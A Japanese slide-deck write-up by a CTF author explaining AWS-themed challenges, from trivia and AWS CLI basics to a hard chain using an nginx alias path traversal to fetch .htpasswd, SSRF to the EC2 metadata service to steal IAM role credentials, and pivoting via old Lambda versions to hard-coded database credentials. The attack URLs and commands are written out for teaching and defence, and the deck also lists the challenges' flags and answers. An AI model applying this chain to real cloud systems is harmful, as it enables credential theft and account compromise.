Security-JAWS Days CTF 作問者解説

8/27に開催したSecurity-JAWS DAYS CTFにて作問した問題の解説です。

Transcript

1. Security-JAWS Days CTF 作問者解説 @tigerszk
2. 自己紹介 Shun Suzaki(洲崎 俊) 三井物産セキュアディレクション株式会社に所属 ペネトレーションテストなどを中心としたセキュリティ サービス提供に従事 コミュニティ運営・ITイベント開催などをライフワークと するお祭り好きのPentester I‘M A CERTAIN PENTESTER! 公開スライド :http://www.slideshare.net/zaki4649/ Blog :http://tigerszk.hatenablog.com/ 著書（翻訳）：詳解HTTP/2・ハンズオンWebassembly （監修）：ハッキングAPI Twitter：とある診断員(@tigerszk)
3. AWSに特化したCTFを開催 2023/8/27にSecurity-JAWSさんとコラボして、 AWSサービスに特化したCTFイベントを開催してみました！ Security-JAWS DAYS DAY2 https://s-jaws.doorkeeper.jp/events/155025
4. ざっくりしたイベントの概要 • 出題する全問題が、AWSサービスに特化した内容のものと なっている • 現実世界でありがちなAWSにおけるセキュリティ問題を盛り 込んで作問し、参加いただいた方にAWSセキュリティに興味 を持っていただくことを目的として開催 • AWS初心者やCTFが初めての方向けの比較的優しめな問題も 出題 • 競技時間は5時間で、競技者はオンサイト＆リモートで参加 • 出題した全問題についてイベント内で解説を実施
5. スコアサーバーはこんな感じで構築 Public subnet VPC AWS Cloud Private subnet イベント参加者 EC2 ELB RDS Slack • ELB＋EC２＋RDSというシンプルな構成 • ELBでSSL化し、アクセスログはS3で取得 • CloudWatch＋SNS＋ChatBotでスコア サーバーのリソース状況を監視してSlack に通知 • Control Towerで問題環境とスコアサー バー環境のAWS環境を分離 • EC2のインスタンスタイプは200人ぐらい のアクセスを想定してm6i.xlargeを採用し ましたが、想定よりアクセスする人数が少 なかったこともあり、当日は余裕な感じで した。 なお、スコアサーバーを構築するにあたり以下のNFLabsさんのブログが大変参考になりました。 • MWS Cup 2022でスコアサーバ(CTFd)をAWSに用意してみた https://blog.nflabs.jp/entry/2022/10/31/130107 • CTFdをAWS上に構築してみた https://blog.nflabs.jp/entry/2022/11/08/160658 監視して通知
6. 出題した問題 • 問題数は計30問を出題 • 出題した問題カテゴリ ✓ Trivia ✓ Warmup ✓ Easy ✓ Medium ✓ Hard AWS初心者・CTF初参加の方向け 腕に自信がある方向け 今回私は、Warmup＆Easyの比較的簡単な問題を複数問と、Hard の問題を1問作問しています。 なお、Triviaの問題については、S-JAWS運営の方に問題内容を検 討していただきました。
7. 以降は、私が出題した問題の解説を 記載します。
8. Trivia
9. Triviaの問題について • S-JAWS運営の方が考えてくださった全13問のAWSサービス＆AWS セキュリティにまつわるクイズでした。 • AWSをあまり触ったことがない人でも、検索すれば答えにたどり着 ける内容の問題を出題しています。 • Triviaの各問題についてはもれなく大体8割以上の人が正答されてい る状況でした。 ※イベント中に配布した解説資料のTriviaの部分に一部記載ミスがあり 内容を修正しています。すいません…。
10. No 問題文 FLAG 1 Security-JAWS#01の開催年月日はいつでしょうか？ (yyyymmdd形式でご回答ください) 20160517 2 AWS WAFv2がリリースされたのは何年何月？ (yyyymm形式でご回答ください) 201911 3 AWS Acount IDは何桁？ （x桁の数字の部分のみをご回答ください。） 12 4 IAM Policyで一番強い権限のAWSマネージドポリシー名は？ AdministratorAccess 5 AWS Security HubのAWS 基礎セキュリティのベストプラクティ ス v1.0.0でチェックされるパスワードポリシーの最小桁数はいく つ？ （x桁の数字の部分のみをご回答ください。） 8 6 AWS Config Rulesのrestricted-sshでNONCONPLIANTとなる CIDRは？ 0.0.0.0/0
11. No 問題文 FLAG 7 AWS WAFのfreeのManaged Rule GroupsにおいてもっともWCUの 高いルールのWCU値はいくつか？ 700 8 Amazon GuardDutyの追加で設定できる保護プランは、S3 Protection・EKS Protection・RDS Protection・Lambda Protectionと後何？ (xxxxxxx Protectionのxxxxxxxの部分をご回答ください) Malware 9 FIPS 準拠に関する国家安全保障局の CNSSP 15 と、2 層の CNSA 暗号化に関する保存データ機能パッケージ (DAR CP) バージョン 5.0 ガイダンスを満たすように設計されたS3のセキュリティ機能の 名称は？ DSSE-KMS 10 Route53にてドメイン登録をする際に、ドメインのチェックを行う必 要がありますが、チェック可能なドメイン長は最大で何文字？ （x文字の数字の部分のみをご回答ください。） 255 11 クラウドホスト型決済アプリケーションにおける暗号化オペレーショ ンの簡素化を支援するAWSのマネージドサービスは？ AWS Payment Cryptography 12 Route53 resolver DNS Firewallにおいて、AWS Managed Domain Listが4つ用意されています。その内、最も文字数の少ないドメイン リストを答えてください。 AWSManagedDomain sMalwareDomainList
12. No 問題文 FLAG 13 以下のCloudTrailログを読み取り、作成されたユーザー名を回答し てください。 KRJXVVAWC13R "eventTime": "2022-10-15T22:05:16Z", "eventSource": "iam.amazonaws.com", "eventName": "CreateUser", "awsRegion": "us-east-1", "sourceIPAddress": "AWS Internal", "userAgent": "AWS Internal", "requestParameters": { "userName": "KRJXVVAWC13R", "tags": [] ※配布したログの一部を抜粋
13. Warmup
14. • コンセプトとしては、CTF初心者の方でも解けるような内容の問題の出題 を意識しました。 • AWSセキュティというよりかは、AWS CLIの操作など基礎的な知識を要求 するような問題を出題しています。 • AWS CLIに不慣れな方もいらっしゃると思いましたので、マネジメントコ ンソールを操作するような問題も出題しています。 • 「Show IAM policy」や「Run Function」は想定していたよりも正答率が 悪かったので、もっと早くヒントをだしたり、カテゴリをEasyにしてもよ かったかなと振り返って思いました。 Warmupの問題について
15. 回答者数：92
16. AWS CLI practice アクセスキーからAWSアカウントを答えさせるだけの超簡単問題。 アクセスキーを設定 aws configure --profile practice AWSアカウントを出力 aws sts get-caller-identity --profile practice
17. 回答者数：83
18. パスワードを安全に管理したいサービスとはズバリ「AWS Secrets Manager」です。 マネジメントコンソールで、アクセスしに行くとFLAGを取得できます。 Where is the password?
19. 回答者数：85
20. Find data 1 バケツ＝S3 bucketの中にFLAGが置いてあるよという意味でした。 マネジメントコンソールで、アクセスしに行くとFLAGを取得できます。
21. 回答者数：72
22. Find data 2 アクセスキーを設定 aws configure --profile finddata2 S3を見に行くとhimituno-bucket2にアクセスでき1000個のディレクトリが存在し、flag.jpgという ファイルが存在することが分かる aws s3 ls s3://himituno-bucket2/SECRET/ --profile finddata2 Find data1と同様にS3内に配置されたデータを見に行くという問題です。 アクセスキーを利用してS3バケットを見に行くと、大量のディレクトリの下にflag.jpgと いうファイルが存在することが分かります。 この中から当たりの画像を探せという内容となっています。
23. 以下のようにファイルサイズを比較すると一つだけファイルサイズが異なることが分かる。 aws s3 ls s3://himituno-bucket2/SECRET/ --recursive --human --sum --profile finddata2 | awk -F ' +' '{printf "%s%s %s¥n",$3,$4,$5}'|sort -n 正解の画像をダウンロードしてファイルを開くとFLAGの値が書いてある。 aws s3 cp s3://himituno-bucket2/SECRET/444/flag.jpg flag.jpg --profile finddata2 Find data 2 他にも色々方法はありますが、例えばAWS CLIを利用して以下のようにファイルサイズを 比較すると一つだけ大きさが違うファイルが存在することが分かります。 ちなみに当たりのディレクトリの数字は〇物語のサメから来ていますｗ
24. 回答者数：48
25. Show IAM policy アクセスキーを設定 aws configure --profile showiam AWSアカウントを出力。アクセスキーに紐づくIAMユーザーの名前がわかる。 aws sts get-caller-identity --profile showiam IAMユーザーが所属するグループ名を調査 aws iam list-groups-for-user --user-name ctf_challenge_5 --query 'Groups[].GroupName' --profile showiam 該当のグループにアタッチされているインラインポリシーの内容を確認 aws iam get-group-policy --group-name ctf5 --policy-name selfcheck ¥ --query 'PolicyDocument' --profile showiam アクセスキーからIAMに設定されているポリシーの内容を確認します。 IAMユーザーには直接アタッチされておらず、グループにアタッチされています。
26. Sidの値にBase64の値が確認できるので、デコードすればFALGを獲得できます。 ちなみに、ここまで到達していても意外とこの文字列に気づいてくれなかった方が結構い らっしゃったのでもうちょい工夫すべきだったなあというのが反省点ですね。 Show IAM policy
27. 回答者数：52
28. Run Function アクセスキーを設定 aws configure --profile runfunction アクセスキーに紐づくIAMユーザーの名前がわかる。 aws sts get-caller-identity --profile runfunction アタッチされているインラインポリシーの名前を確認 aws iam list-user-policies --user-name ctf_challenge_6 --profile runfunction ポリシードキュメントを確認するとlambda関数の実行権限がついていることが分かる aws iam get-user-policy --user-name ctf_challenge_6 --policy-name runlambda ¥ --query 'PolicyDocument' --profile runfunction アクセスキーにアタッチされている権限を確認していくと、「run_me」というlamda関 数に対する実行権限を有していることがわかります。
29. Run Function
30. Run Function 「run_me」を実行する。 aws lambda invoke --function-name run_me out --profile runfunction 実行結果を確認すると以下のような応答を確認できる。 {"statusCode": 200, "body": "¥"Look at the log!¥""} 「run_me」実行時にログを出力し、base64デコードすればflagを獲得できる。 aws lambda invoke --function-name run_me out --log-type Tail --query 'LogResult' ¥ --output text --profile runfunction | base64 -d 「run_me」の実行結果より、ログを見る必要があることがわかります。 ログの値はbase64されているのでデコードすればFLAGを獲得できます。
31. Easy
32. 回答者数：20
33. Webページにアクセスして、HTMLソースを確認してみるとこのWebサイトはなん らかのAWSサービスを利用していると書いてあります。 CTFに慣れてない方はHTMLソースを見てみるという所になかなか気づかない方が多 かったのでこれももっと早めにヒント出せばよかったなと思っています。 Recon the website
34. S3を利用していることが分かる ドメインに紐づくIPアドレスを調べるとS3を利用していることが分かります。
35. S3の仕様 • Amazon S3のバケット名はグローバルに一意であり、名前空間はすべての AWS アカウントにて共有されています。 • S3バケットを利用して独自ドメインを利用して、静的なサイトをホスティ ングする場合には、前提としてバケット名とドメイン名が一致する必要が あります。 • そのためドメイン名がimage.toaru.siteであるため、バケット名が website.scjdaysctf2023.netであることが推測できます。 【参考】 独自ドメインを使用して静的ウェブサイトをセットアップする https://docs.aws.amazon.com/ja_jp/AmazonS3/latest/dev/website-hosting- custom-domain-walkthrough.html
36. S3バケットのURLの仕様 【参考】Amazon S3 バケットの使用 バケットへのアクセス https://docs.aws.amazon.com/ja_jp/AmazonS3/latest/userguide/access-bucket-intro.html • S3バケットは、リソースを一意に識別するURLを持ちます。 • URLは以下2種類のタイプが存在します。 ◆ 仮想ホスト形式 1. http://バケット名.s3-リージョン名.amazonaws.com/ 2. http://バケット名.s3.amazonaws.com/ ※2019 年 3 月 20 日より後に開始されたリージョンで作成されたバケットでは2の形式(レガシーグローバルエンドポイント)で は到達できないようです。 ◆ パス形式 1. http://s3-リージョン名.amazonaws.com/バケット名 2. http://s3.amazonaws.com/バケット名 ※米国東部 (バージニア北部) リージョンは2の形式で、他のリージョンは1の形式となります。パス形式は将来的には廃止が検討 されているようです。
37. 仕様からURLがわかる S3バケットの仕様より、このWebサイトを公開しているS3バケットのURLは以下と 分かります。 ◆ 仮想ホスト形式 • http://website.scjdaysctf2023.net.s3-ap-northeast-1.amazonaws.com/ • http://website.scjdaysctf2023.net.s3.amazonaws.com/ ◆ パス形式 • http://s3-ap-northeast-1.amazonaws.com/website.scjdaysctf2023.net/
38. FLAGを獲得 アクセスするとS3バケットのファイルの一覧を確認できます。 FLAGのprefixがわかるため、アクセスすればFLAGを獲得できます。
39. この問題のコンセプト • 現実世界でも度々問題になっている、S3バケットの設定不備によって情報 が漏洩してしまうケースをモチーフにした問題でした。 • Ｓ3の仕様からエンドポイントを推測され情報漏洩へとつながってしまう ケースがあることをお分かりいただければ幸いです。
40. 回答者数：63
41. Find data 3 アクセスキーを利用すると１・２と同様にS3バケットにアクセスできることが分かります。 S3バケット上に配置されているファイルの内容より、機密ファイルが削除されたことがう かがえます。 アクセスキーを設定 aws configure --profile finddata3 S3を見に行くとhimituno-bucket3にアクセスでき、readme.txtというファイルが存在するため、ダウ ンロードしてみる。 aws s3 cp s3://himituno-bucket3/readme.txt . --profile finddata3 readme.txtからは以下のメッセージを確認できる。 It was pointed out that placing sensitive data on S3 is not recommended, so I removed it.
42. S3のバージョニングについて • S3のバージョニング機能とは、S3バケット内でファイルを更新した場合な どに、異なるオブジェクトの状態をバージョンとして保持してくれる機能 です。 • S3 のバージョニング機能を使用すると、バケットに保存されたすべてのオ ブジェクトのすべてのバージョンを、保存、取得、復元することができま す。 • バージョン数の上限については特に定められていないようです。 • デフォルトでは無効化されているので、利用するには有効化する必要があ ります。 【参考】Amazon Simple Storage Service S3 バケットでのバージョニングの使用 https://docs.aws.amazon.com/ja_jp/AmazonS3/latest/userguide/Versioning.html
43. 削除前のデータの情報を確認 S3バケットにおけるオブジェクトバージョンの一覧を取得 aws s3api list-object-versions --bucket himituno-bucket3 --profile finddata3 調査をするとSECRET_DATAというファイルのデータが論理的な削除として扱われている だけで元々のファイルがバケット上に存在していることが確認できます。
44. FALGを獲得 指定したバージョンのファイルを取得 aws s3api get-object --bucket himituno-bucket3 --key SECRET_DATA SECRET_DATA ¥ --version-id MO4Xz6sB8DONDjCid6ideiRgfdyywcSv --profile finddata3 削除前のSECRET_DATAのファイルを取得して、中身を確認するとFLAGを取得できます。
45. この問題のコンセプト • S3のバージョンニング機能の知識を問う問題でした。 • また、セキュリティ的な観点からだと、このように見た目上は削除さ れていても、情報が完全に消去できていないケースはよくあります。 そのため、機密性の高い情報などを取り扱う場合にはご注意ください。
46. Hard
47. 回答者数：2
48. nginxのコンフィグが配布されている server { listen 80 default_server; listen [::]:80 default_server; root /var/www/html; index index.html index.htm index.nginx-debian.html index.php; server_name _; location / { try_files $uri $uri/ =404; } location ~ ¥.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php8.1-fpm.sock; } location /assets { alias /usr/share/static/; } location /admin/ { auth_basic "Restricted"; auth_basic_user_file /usr/share/secret/.htpasswd; location ~^/admin/proxy/(?<proxy_host>.*?)/(?<proxy_path>.*)$ { proxy_pass http://$proxy_host/$proxy_path; proxy_set_header Host $proxy_host; } } }
49. 設定ファイルよりわかること 配布されているnginx.confの内容より、このWebサーバには二つの設定不備 が存在することが分かります。 1. location /assetsの設定に不備があり、パストラバーサルの脆弱性が存 在する。 2. location ~^/admin/proxy/については特に値が制限されていないため SSRF攻撃に利用できそう(※) ※正し、location /admin/の設定をみると分かる通り、Basic認証が設定 されているため、すぐにはアクセスできなさそう。
50. パストラバーサルの脆弱性 location /assets { alias /usr/share/static/; } 【参考】 nginxの設定ミスで起こるパス トラバーサル https://qiita.com/no1zy_sec/items/e541f1c838874ff400bb /で終端していないため..を利用してディレクトリを 遡れる
51. SSRFに利用できそう location /admin/ { auth_basic "Restricted"; auth_basic_user_file /usr/share/secret/.htpasswd; location ~^/admin/proxy/(?<proxy_host>.*?)/(?<proxy_path>.*)$ { proxy_pass http://$proxy_host/$proxy_path; proxy_set_header Host $proxy_host; } } /admin配下はBasic認証が設定されている URLパスに任意の値を指定することで、任意の宛先 にhttp通信を行うことが可能 【参考】 nginxの設定ミスで起こるSSRF https://qiita.com/no1zy_sec/items/2718f4a99bb8368ac374
52. .htpasswdを入手 パストラバーサルの設定不備を利用して以下のURLにアクセスすることで、 Basic認証の認証情報が記載されている.htpasswdファイルを入手すること が可能です。 http://apjweb.scjdaysctf2023.net/assets../secret/.htpasswd
53. パスワードをクラックする John the ripperなどを利用すれば.htpasswdファイルからBasic認証のパス ワードを割り出すことが可能です。
54. /adminにアクセスすると 以下のようなメッセージがあり、phpMyAdminのログインページにアクセスす ることができます。
55. SSRF(Server Side Request Forgery) • 指定した任意のリソースに対してHTTPリクエストを行うように、サーバサイドアプリケーションを誘 導させる攻撃手法です。 • 脆弱性の存在するサーバを踏み台として他サーバにアクセスさせることによって、本来は直接到達する ことができないサーバに対してアクセスすることが可能です。 【参考】SSRF基礎 https://speakerdeck.com/hasegawayosuke/ssrfji-chu 【参考】SSRF(Server Side Request Forgery)徹底入門 https://blog.tokumaru.org/2018/12/introduction-to-ssrf-server-side-request-forgery.html 192.168.0.x 内部NWのサーバ 公開サーバ 通常は内部NWに直接はアクセスできない 攻撃者 正常遷移のリクエスト ②本来はアクセスできない内部NWサーバ （192.168.0.x）に対して公開サーバーを経由し てリクエストが送信される xxx/?URL=http://192.168.0.x xxx/?URL=http://www.example.com http://192.168.0.x ①パラメータの値を任意のURL値に変更して送信
56. クラウド環境での悪用 • AWSなどのパブリッククラウドサービスではメタデータサービスと呼ばれる機能 が存在します。 • この機能は、メタデータと呼ばれるインスタンス固有のデータ(インスタンスID、 OSデータ、一時的に付与される認証情報など)を内部WebAPIを通じて取得すると いった仕組みとなっています。 • クラウド環境のサーバにSSRFの脆弱性が存在する場合には、この機能を悪用され このメタデータを不正に取得されてしまう可能性があります。 【参考】インスタンスメタデータとユーザーデータ https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/ec2-instance-metadata.html
57. 一時的な認証情報の取得 • IAMロールという仕組みでAWSのサービスに対して、権限を付与すること ができることは既に説明した通りです。 • EC2にIAMロールアタッチされている場合には、このメタデータAPIより IAMロールの権限を一時的な認証情報として取得して、自由に利用するこ とができます。 AWS側のメタデータAPI EC２インスタンス 一時的な認証情報を返す http://169.254.169.254/latest/meta-data/… IAMロールがアタッチ IAMロールの権限を利用するために、EC2からAWSのメタデータAPIに対して、通 信が行われIAMロールの権限に紐づく一時的な認証情報の取得している。
58. SSRFの原理を利用して認証情報を窃取 • IAMロールがアタッチされたEC2インスタンスにおいて、この脆弱性を悪用された場合には、 EC２にアタッチされたIAMロールに紐づいた認証情報を窃取されてしまう可能性があります。 AWS側のメタデータAPI SSRFの脆弱性が 存在するEC２ 攻撃者 ②EC2からAWSのメタデータAPIに対して一時的な認証情報の取得 を勝手に要求される xx/?URL=http://169.254.169.254/latest/meta-data/… 認証情報を含んだ結果が返る http://169.254.169.254/latest/meta-data/… 認証情報を窃取 正常遷移のリクエスト xxx/?URL=http://www.example.com ①パラメータの値をメタデータサーバのURL値に変更して送信 ③攻撃者は脆弱性が存在するEC2からのレスポンスから、 EC2に一時的に付与された認証情報（アタッチされたIAM ロールに紐づく）を取得することができる IAMロールがアタッチ
59. SSRFを利用して認証情報を奪取 http://apjweb.scjdaysctf2023.net/admin/proxy/169.254.169.254/latest/m eta-data/iam/security-credentials http://apjweb.scjdaysctf2023.net/admin/proxy/169.254.169.254/latest/m eta-data/iam/security-credentials/ec2role_p1lhf6h4q395qu1 メタデータAPIにアクセスさせることで、EC2にアタッチされているロール名 がec2role_p1lhf6h4q395quであることがわかります。 入手したロール名を利用して認証情報を要求するメタデータAPIのエンドポ イントにアクセスを行います。
60. 一時的な認証情報を奪取 ※一部を黒塗りにしています。
61. S3にアクセス可能 S3バケットの一覧を列挙 aws s3 ls --profile ec2role ※取得した認証情報を利用してec2roleというプロファイルを作成しています。 S3バケット「backup-37szjp8pny7xx01」の中身を列挙 aws s3 ls s3://backup-37szjp8pny7xx01 --profile ec2role S3バケットに配置されていたアクセスキーをダウンロード aws s3 cp s3://backup-37szjp8pny7xx01/dboperator_accessKeys.csv . ¥ --profile ec2role アタッチされていたロールではS3バケット「backup-37szjp8pny7xx01」にアクセ ス可能となっています。 また、当該S3バケットには、バックアップされたSQLファイルとアクセスキーが配 置されていることがわかります。
62. アクセスキーを調査 アクセスキーが紐づくIAMユーザー名を確認 aws sts get-caller-identity --profile dboperator アタッチされているポリシーの確認（カスタム管理ポリシー「dboperator」がアタッチされていること がわかる） aws iam list-attached-user-policies --user-name dboperator --profile dboperator カスタム管理ポリシー「dboperator」のポリシーバージョンを確認 aws iam get-policy --policy-arn arn:aws:iam::055450064556:policy/dboperator ¥ --profile dboperator バージョンを指定し、カスタム管理ポリシー「dboperator」の内容を確認 aws iam get-policy-version --policy-arn arn:aws:iam::055450064556:policy/dboperator ¥ --version-id v6 --profile dboperator 入手したアクセスキーを利用してアタッチされているIAMポリシーの調査を行います。
63. IAMポリシーの内容 { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "lambda:List*", "lambda:GetFunction", "lambda:InvokeFunction" ], "Resource": "arn:aws:lambda:ap-northeast-1:055450064556:function:db-buckup*" }, { "Effect": "Allow", "Action": [ "iam:Get*", "iam:List*" ], "Resource": [ "arn:aws:iam::055450064556:policy/dboperator", "arn:aws:iam::055450064556:user/dboperator" ] } ] } db-buckupというLambda関数に対して実行権限と 読み取りの権限があることがわかる。
64. Lambda関数の実行 Lambda関数を実行する。レスポンスはbase64形式となっているのでデコードすると読める。 aws lambda invoke --function-name db-buckup out --log-type Tail ¥ --query 'LogResult' --output text --profile dboperator| base64 -d Lambda関数を実行すると成功し、S3上にSQLファイルが生成されます。 どうやらDBバックアップを行うためのものであることが推測されます。 ※ちなみにlambda関数の名前をtypoしていることを参加者の方のWriteupでのご指摘にて ようやく気づきましたorz…。恥ずかしいｗ 基本的に深夜に作問していたのでご勘弁くださいｗ
65. どうでもいい情報ですが バックアップとしてダンプしていたSQLファイルのテーブルには、 「水星の魔女」のキャラクターの名前をネタとして記載していました。 気づいてくれていた方がいなさそうなのでちょっと残念…。
66. Lambda関数の内容を調査 lambda関数のバージョンを全て列挙。 aws lambda list-versions-by-function --function-name db-buckup ¥ --profile dboperator 対象のlambda関数を調査すると、複数のバージョンが存在し、Descriptionの記載 内容から、最新のバージョンでパスワードの暗号化が実装されたことがわかります。 Version 1 Version 2
67. DBユーザーの認証情報を入手 古いバージョンのLambda関数をダウンロードし、コードを確認すると、変数 内に認証情報がハードコードされていることが確認できます。 古いバージョンを指定して、lambda関数(バージョンを指定して)のコードをダウンロード。 aws lambda get-function --function-name db-buckup ¥ --qualifier 1 --profile dboperator
68. ちょっとした補足 • ちなみに最新バージョンの修正済みのコードでは、環境変数に設定した暗 号化された値を、KMSを利用して復号するようなコードが実装されていま す。 • コード中に認証情報をハードコードしていなかったとしても、環境変数に そのまま認証情報を設定しているような実装の場合には、このように lambda関数の読み取り権限を有していれば、簡単に値を取得することが可 能なので注意が必要です。 • 実際のペネトレーションテストの現場でも環境変数から認証情報を取得で きるケースはしばしばあります。
69. FLAGを獲得 認証情報を利用してphpMyAdminにアクセスすればFLAGを獲得できます。
70. この問題のコンセプト • 今までご覧いただいた通り、比較的難易度の低い問題を量産していた 感じなので、ちょっと重めの問題を作問しようと頑張ってみました。 • タイトル通り、AWS環境におけるペネトレーションテストを体験して もらうような内容をイメージして作問してみました。 • Nginxの設定不備は現実世界でもあり得る設定不備だと思うので注意 が必要です。 • lambda関数に関わらず古いコードが残っていて、セキュリティ的な 問題に発展することも良くあるケースなので注意が必要です。 • こういった複数の問題が重なり、侵害につながってしまうケースがあ りえるということをご認識いただければ幸いです。
71. イベントに参加いただいた方に圧倒的感謝！ ありがとうございました！